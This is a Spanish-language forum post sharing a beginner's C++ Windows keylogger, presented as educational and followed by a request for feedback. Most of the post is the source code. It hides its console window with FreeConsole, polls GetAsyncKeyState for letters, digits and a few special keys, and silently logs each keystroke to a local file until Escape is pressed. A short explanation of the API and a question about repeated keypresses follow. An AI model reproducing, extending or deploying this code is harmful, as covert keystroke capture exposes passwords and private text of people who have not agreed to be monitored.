Pues os enseño el codigo que he programado, basandome, en lo que he leído por Internet. Acepto críticas y consejos
.
Ya se que faltan keys, pero este codigo es educativo y solo lo he programado para saber como funcionan.
Sin mas a añadir, os cuelgo el codigo:
#include <iostream>
#include <windows.h>
using namespace std;
char keys() {
char c = '/';
if (GetAsyncKeyState('A')) c = 'A';
else if (GetAsyncKeyState('B')) c = 'B';
else if (GetAsyncKeyState('C')) c = 'C';
else if (GetAsyncKeyState('D')) c = 'D';
else if (GetAsyncKeyState('E')) c = 'E';
else if (GetAsyncKeyState('F')) c = 'F';
else if (GetAsyncKeyState('G')) c = 'G';
else if (GetAsyncKeyState('H')) c = 'H';
else if (GetAsyncKeyState('I')) c = 'I';
else if (GetAsyncKeyState('J')) c = 'J';
else if (GetAsyncKeyState('K')) c = 'K';
else if (GetAsyncKeyState('L')) c = 'L';
else if (GetAsyncKeyState('M')) c = 'M';
else if (GetAsyncKeyState('N')) c = 'N';
else if (GetAsyncKeyState('O')) c = 'O';
else if (GetAsyncKeyState('P')) c = 'P';
else if (GetAsyncKeyState('Q')) c = 'Q';
else if (GetAsyncKeyState('R')) c = 'R';
else if (GetAsyncKeyState('S')) c = 'S';
else if (GetAsyncKeyState('T')) c = 'T';
else if (GetAsyncKeyState('U')) c = 'U';
else if (GetAsyncKeyState('V')) c = 'V';
else if (GetAsyncKeyState('W')) c = 'W';
else if (GetAsyncKeyState('X')) c = 'X';
else if (GetAsyncKeyState('Y')) c = 'Y';
else if (GetAsyncKeyState('Z')) c = 'Z';
else if (GetAsyncKeyState('1')) c = '1';
else if (GetAsyncKeyState('2')) c = '2';
else if (GetAsyncKeyState('3')) c = '3';
else if (GetAsyncKeyState('4')) c = '4';
else if (GetAsyncKeyState('5')) c = '5';
else if (GetAsyncKeyState('6')) c = '6';
else if (GetAsyncKeyState('7')) c = '7';
else if (GetAsyncKeyState('8')) c = '8';
else if (GetAsyncKeyState('9')) c = '9';
else if (GetAsyncKeyState('0')) c = '0';
else if (GetAsyncKeyState(VK_SHIFT)) c = '^';
else if (GetAsyncKeyState(VK_ESCAPE)) c = 0x1B;
else if (GetAsyncKeyState(VK_BACK)) c = ' ';
return c;
}
int main() {
FreeConsole(); //Esconde el terminal
FILE *f;
f = fopen("file.txt","w"); //Crea i abre un archivo
char c = ' ';
while(c != 0x1B) {
c = keys();
if (c != '/') {
fprintf( f , "%c",c); //Escribe el caracter en el archivo
//cout << c;
}
Sleep(120); //Interrumpe el programa durante 120 milisegundos
}
fclose(f);
AllocConsole(); //Muestra el terminal
cout << "FIN DE PROGRAMA :)" << endl;
}
Explico un poco el codigo y bueno, la idea principal.
La función mas importante(creo yo) es: GetAsyncKeyState();
Esta función devuelve un valor o otro depende de si has pulsado la tecla o no, entonces le pasas el Virtual-Key Code como parametro y
a partir de ahí te dice si has pulsado la tecla o no.
Y bueno, nose con los comentarios se entiende bien que hace cada cosa no?
Lo que si es una "guarrada" son las inicializaciones del char c; pero esque tenia que evitar que me copiara la misma tecla pulsada multiples veces.
Hay alguna otra forma?
Esto es todo!! Espero sus opiniones.
P.D: Tuve que poner la función sleep, porque las interrupciones del teclado actuan mas rapido que los dedos de mi mano y claro, alomejor
pulsaba una tecla y el pc detectaba que la pulsaba mas veces.
Muchas gracias!!